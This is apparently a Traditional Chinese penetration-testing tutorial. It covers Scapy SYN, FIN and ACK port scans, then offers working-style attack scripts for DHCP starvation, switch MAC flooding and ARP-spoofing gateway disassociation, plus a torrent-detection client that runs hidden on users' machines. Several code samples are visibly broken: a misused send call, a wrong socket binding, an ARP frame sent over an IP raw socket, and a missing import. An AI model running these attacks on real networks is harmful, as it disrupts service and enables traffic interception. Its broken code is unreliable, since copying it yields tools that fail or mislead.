返回文章列表

滲透測試中半開放與FIN掃描技術應用

本文探討半開放掃描和 FIN 掃描技術在滲透測試中的應用,並提供使用 Scapy 函式庫的 Python 程式碼範例。半開放掃描利用不完整的 TCP 三向交握來規避防火牆檢測,而 FIN 掃描則透過傳送 FIN 旗標探測埠狀態。文章同時解析了程式碼的關鍵部分,並延伸討論了 DHCP 攻擊、MAC

資安 網路技術

半開放掃描和 FIN 掃描是滲透測試中常用的埠掃描技術,它們各有優缺點,適用於不同的場景。半開放掃描可以有效規避防火牆的檢測,但容易被入侵檢測系統發現。FIN 掃描則更為隱蔽,但部分系統的實作可能導致結果不準確。瞭解這兩種技術的原理和使用方法,對於滲透測試人員來說至關重要。此外,文章還介紹瞭如何使用 Scapy 函式庫自定義封包,這對於進行更進階的網路攻擊和防禦至關重要。透過理解這些技術,可以更好地評估目標系統的安全性,並採取相應的防禦措施。

半開放掃描技術在滲透測試中的應用

半開放掃描(Half-Open Scan),又稱隱蔽掃描(Stealth Scan),是一種特殊的掃描技術,用於繞過防火牆規則和避免被日誌系統檢測到。這種掃描技術透過自定義封包來實作。

半開放掃描的運作原理

半開放掃描的步驟如下:

  1. 使用者端向伺服器的指定埠傳送一個SYN封包。
  2. 如果該埠開放,伺服器會回應一個SYN-ACK封包。
  3. 如果伺服器回應一個RST封包,則表示該埠已關閉。
  4. 使用者端傳送RST封包以關閉連線初始化。

使用Scapy實作半開放掃描

Scapy是一個第三方函式庫,允許使用者建立自定義封包。下面是一個簡單的程式碼範例:

from scapy.all import *

# 定義IP封包
ip = IP(src="192.168.0.10", dst="192.168.0.3")

# 定義TCP封包
tcp = TCP(sport=1024, dport=80, flags="S", seq=12345)

# 組合IP和TCP封包
packet = ip/tcp

# 傳送並接收封包
response = sr1(packet, timeout=1)

# 顯示接收到的封包
response.show()

# 傳送RST封包關閉連線
rst_packet = IP(src="192.168.0.10", dst="192.168.0.3")/TCP(sport=1024, dport=80, flags="R", seq=12346)
rst_packet.send(rst_packet)

程式碼解析:

  1. from scapy.all import *:匯入Scapy的所有模組。
  2. ip = IP(src="192.168.0.10", dst="192.168.0.3"):定義IP封包,包含源和目的IP地址。
  3. tcp = TCP(sport=1024, dport=80, flags="S", seq=12345):定義TCP封包,包含源和目的埠、SYN旗標和序列號。
  4. packet = ip/tcp:組合IP和TCP封包。
  5. response = sr1(packet, timeout=1):傳送並接收封包,超時時間設為1秒。
  6. response.show():顯示接收到的封包內容。
  7. rst_packet = IP(src="192.168.0.10", dst="192.168.0.3")/TCP(sport=1024, dport=80, flags="R", seq=12346):定義RST封包以關閉連線。
  8. rst_packet.send(rst_packet):傳送RST封包。

FIN掃描

FIN掃描是一種特殊的掃描技術,透過傳送只有FIN旗標的TCP封包來檢測遠端主機的埠狀態。如果沒有收到回應,則表示該埠開放;如果收到回應且包含RST-ACK旗標,則表示該埠關閉。

FIN掃描的程式碼實作

from scapy.all import *

# 定義IP封包
ip = IP(src="192.168.0.10", dst="192.168.0.3")

# 定義TCP封包,設定FIN旗標
tcp = TCP(sport=1024, dport=80, flags="F", seq=12345)

# 組合IP和TCP封包
packet = ip/tcp

# 傳送並接收封包
response = sr1(packet)

# 顯示接收到的封包
response.show()

程式碼解析:

  1. 設定FIN旗標以進行FIN掃描。
  2. 傳送並接收封包,根據回應判斷埠狀態。

網路嗅探與滲透測試章節重點整理

FIN 旗標掃描技術詳解

FIN 旗標掃描是一種特殊的掃描技術,用於探測目標主機的連線埠狀態。其運作原理是傳送一個設定了 FIN 旗標的 TCP 封包到目標連線埠。若目標連線埠是關閉狀態,系統會回應一個 RST 封包;若連線埠是開啟狀態,大多數系統不會回應任何訊息。

程式碼實作解析

from scapy.all import IP, TCP, send

# 設定 IP 層引數
ip = IP(src='192.168.0.11', dst='192.168.0.10')

# 設定 TCP 層引數
tcp = TCP(sport=1234, dport=80, flags='F', seq=12345)

# 組合封包並傳送
packet = ip / tcp
send(packet)

內容解密:

  1. 使用 Scapy 函式庫建立 IP 層和 TCP 層的封包物件
  2. 設定來源 IP 為 192.168.0.11,目標 IP 為 192.168.0.10
  3. 設定 TCP 的來源連線埠為 1234,目標連線埠為 80(HTTP)
  4. 設定 FIN 旗標並指定序列號
  5. 使用 / 運算元組合 IP 層和 TCP 層的封包
  6. 使用 send() 函式傳送封包

ACK 旗標掃描技術詳解

ACK 旗標掃描主要用於判斷目標主機是否受到防火牆的保護。其運作原理是傳送一個設定了 ACK 旗標的探測封包。若沒有回應,表示連線埠被過濾(可能存在狀態檢測防火牆);若收到 RST 回應,表示連線埠未被過濾。

程式碼實作解析

from scapy.all import IP, TCP, send

# 設定 IP 層引數
ip = IP(src='192.168.0.11', dst='192.168.0.10')

# 設定 TCP 層引數
tcp = TCP(sport=1024, dport=256, flags='A', seq=123456)

# 組合封包並傳送
packet = ip / tcp
send(packet)

內容解密:

  1. 建立 ACK 旗標掃描封包
  2. 設定來源連線埠為 1024,目標連線埠為 256
  3. 設定 ACK 旗標並指定序列號
  4. 傳送封包並觀察是否有回應

防火牆測試與回應分析

當存在防火牆時,ACK 探測封包通常不會收到回應。透過嗅探器可以觀察到實際的網路回應,從而判斷防火牆的存在。

下一章預告

在下一章「網路攻擊與防禦」中,我們將探討不同型別的網路攻擊及其防禦方法,包括:

  1. DHCP 窮竭攻擊原理與實作
  2. 交換器 MAC flooding 攻擊技術
  3. 閘道器解除關聯攻擊實務
  4. BT 下載偵測技術探討

這些主題對於網路管理員和滲透測試人員具有重要參考價值。

網路攻擊與防禦 第四章

DHCP 攻擊與防禦

在前面的章節中,我們已經瞭解了 DHCP 協定的基本工作原理。現在,我們將探討如何利用 Scapy 來進行 DHCP 攻擊,並分析其背後的原理。

DHCP 攻擊原理

DHCP 攻擊的核心在於偽造 DHCP 請求封包,以耗盡 DHCP 伺服器的 IP 位址資源,或者幹擾正常的網路連線。首先,我們來看看如何使用 Scapy 來傳送偽造的 DHCP 請求封包。

from scapy.all import *
import time
import struct

# 建立原始 socket 以接收 IP 封包
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
s.bind(("eth0", 0x0800))
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
i = 0

while True:
    # 使用 Scapy 建立 Ethernet 和 IP 封包
    eth1 = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff")
    ip1 = IP(src="0.0.0.0", dst="255.255.255.255")
    
    # 建立 UDP 和 BOOTP 封包
    udp1 = UDP(sport=68, dport=67)
    bootp1 = BOOTP(chaddr=RandString(12, "0123456789abcdef"))
    
    # 建立 DHCP discover 和 DHCP request 封包
    dhcp1 = DHCP(options=[("message-type", "discover"), "end"])
    dhcp2 = DHCP(options=[("message-type", "request"), "end"])
    dhcp_discover = eth1/ip1/udp1/bootp1/dhcp1
    dhcp_discover["BOOTP"].xid = 0x12345678
    
    # 傳送 DHCP discover 封包並接收回應
    send(dhcp_discover)
    pkt = s.recvfrom(4096)
    num = pkt[0][42:46]
    ip_length = int(num.hex(), 16)
    ip_last_range = 43 + ip_length
    ip_server = pkt[0][26:30].hex()
    print("Obtained IP:", ip_server)
    server_ip = pkt[0][26:30].hex()
    dhcp_server = struct.unpack("!I", pkt[0][26:30])[0]
    obtained_ip = struct.unpack("!I", pkt[0][16:20])[0]
    
    # 建立 DHCP request 封包
    print("Obtained IP:", obtained_ip)
    print("DHCP Server IP:", dhcp_server)
    dhcp_request = eth1/ip1/udp1/bootp1/dhcp2
    dhcp_request["BOOTP"].xid = 0x12345678
    dhcp_request["DHCP"].options.append(("requested_addr", obtained_ip))
    dhcp_request["DHCP"].options.append(("server_id", dhcp_server))
    dhcp_request["DHCP"].options.append(("hostname", "master"))
    dhcp_request["DHCP"].options.append(("param_req_list", [1, 3, 6, 12, 15, 28, 51, 53, 54, 58, 59, 60]))
    dhcp_request["DHCP"].options.append("end")
    
    # 傳送 DHCP request 封包
    send(dhcp_request)
    time.sleep(0.5)

程式碼解析:

  1. 建立原始 socket:使用 socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) 建立原始 socket 以接收 IP 封包。
  2. 建立 DHCP discover 封包:使用 Scapy 建立 Ethernet、IP、UDP、BOOTP 和 DHCP discover 封包。
  3. 傳送 DHCP discover 封包並接收回應:傳送 DHCP discover 封包並使用原始 socket 接收 DHCP offer 回應。
  4. 解析 DHCP offer 回應:從回應封包中提取出分配的 IP 位址和 DHCP 伺服器的 IP 位址。
  5. 建立 DHCP request 封包:使用提取出的資訊建立 DHCP request 封包,並新增必要的選項,如 requested_addrserver_id
  6. 傳送 DHCP request 封包:傳送偽造的 DHCP request 封包,以完成 DHCP 連線過程。

MAC Flooding 攻擊

MAC Flooding 攻擊是另一種網路攻擊手段,透過向交換器傳送大量的偽造 MAC 位址請求,使交換器的 CAM 表被填滿,從而導致交換器像集線器一樣將所有封包廣播到所有埠,進而使攻擊者能夠攔截網路通訊。

from scapy.all import *

# 輸入要傳送的封包數量
num = int(input("Enter the number of packets: "))
interface = input("Enter the interface: ")

# 建立 Ethernet 和 ARP 封包
eth_pkt = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff")
arp_pkt = ARP(pdst="192.168.1.1", hwdst="ff:ff:ff:ff:ff:ff")

try:
    # 傳送 ARP 請求封包
    sendp(eth_pkt/arp_pkt, iface=interface, count=num)
except:
    print("Destination Unreachable")

程式碼解析:

  1. 輸入引數:輸入要傳送的封包數量和網路介面。
  2. 建立 Ethernet 和 ARP 封包:使用 Scapy 建立帶有隨機 MAC 位址的 Ethernet 和 ARP 請求封包。
  3. 傳送 ARP 請求封包:使用 sendp 傳送 ARP 請求封包到指定的網路介面。

網路攻擊與防禦 Chapter 4

MAC 洪泛攻擊與防禦

MAC 洪泛攻擊旨在檢測交換機的安全性。若攻擊成功,則在報告中標記為成功。為了減輕 MAC 洪泛攻擊,使用埠安全(port security)。埠安全限制了僅允許特定 MAC 位址或有限數量的 MAC 位址進行通訊,從而有效防止 MAC 洪泛攻擊。

閘道器解除關聯攻擊(Gateway Disassociation by RAW Socket)

在此攻擊中,受害者仍保持與閘道器的連線,但無法與外部網路進行通訊。簡單來說,受害者仍連線到路由器,但無法瀏覽網際網路。該攻擊的原理與 ARP 快取投毒(ARP cache poisoning)相同。攻擊者會向受害者傳送 ARP 回覆封包,修改受害者 ARP 快取中閘道器的 MAC 位址為另一個 MAC 位址。同樣地,也會對閘道器進行相同的操作。

程式碼實作

import socket
import struct

# 設定必要的引數
victim_ip = '192.168.1.100'
gateway_ip = '192.168.1.1'
fake_mac = b'\x00\x11\x22\x33\x44\x55'

# 建立原始通訊端
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.bind(('192.168.1.101', 0))

# 建構 ARP 回覆封包
packet = struct.pack('!HHBBH', 0x0001, 0x0800, 0x06, 0x04, 0x0002)
packet += fake_mac + socket.inet_aton(gateway_ip) + socket.inet_aton(victim_ip)

# 傳送 ARP 回覆封包
s.sendto(packet, (victim_ip, 0))

內容解密:

  1. import socketimport struct:匯入必要的模組,socket 用於建立網路連線,struct 用於處理二進位資料。
  2. victim_ipgateway_ipfake_mac:定義受害者 IP、閘道器 IP 和偽造的 MAC 位址。
  3. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW):建立原始通訊端,用於傳送自訂的 IP 封包。
  4. packet = struct.pack(...):建構 ARP 回覆封包,包含 Ethernet 和 ARP 頭部資訊。
  5. s.sendto(packet, (victim_ip, 0)):將建構好的 ARP 回覆封包傳送給受害者。

種子下載偵測

種子下載(torrent)是網路管理員的一大困擾,因為它會佔用大量頻寬。本文將介紹如何使用 Python 程式來偵測種子下載。

程式設計概念

該程式根據客戶端-伺服器架構。伺服器端程式執行在管理員的機器上,客戶端程式則在使用者機器上以隱藏模式執行。當使用者使用種子下載時,客戶端程式會通知伺服器。

伺服器端程式碼

import socket
import logging

# 設定日誌記錄
logging.basicConfig(filename='torrent_detection.log', level=logging.INFO)

# 建立 UDP 通訊端
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('192.168.1.101', 6666))

while True:
    try:
        data, addr = s.recvfrom(1024)
        logging.info(data.decode())
    except KeyboardInterrupt:
        s.close()
        sys.exit()

內容解密:

  1. import socketimport logging:匯入必要的模組,socket 用於建立網路連線,logging 用於日誌記錄。
  2. logging.basicConfig(...):設定日誌記錄的檔案名稱和等級。
  3. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM):建立 UDP 通訊端,用於接收客戶端的訊息。
  4. while True 迴圈:持續監聽客戶端的訊息,並將收到的訊息記錄到日誌檔案中。

使用者端程式碼

import os
import time
import socket

# 設定伺服器 IP 和埠號
server_ip = '192.168.1.101'
server_port = 6666

while True:
    try:
        # 檢查目前執行的程式列表中是否有種子下載程式
        response = os.popen('tasklist').read()
        if 'torrent' in response.lower():
            # 建立 UDP 通訊端並傳送訊息給伺服器
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.sendto('Torrent detected'.encode(), (server_ip, server_port))
        time.sleep(60)  # 每隔一段時間檢查一次
    except Exception as e:
        pass

內容解密:

  1. import osimport timeimport socket:匯入必要的模組。
  2. server_ipserver_port:定義伺服器的 IP 和埠號。
  3. while True 迴圈:持續檢查目前執行的程式列表中是否有種子下載程式。
  4. s.sendto(...):如果偵測到種子下載程式,則傳送訊息給伺服器。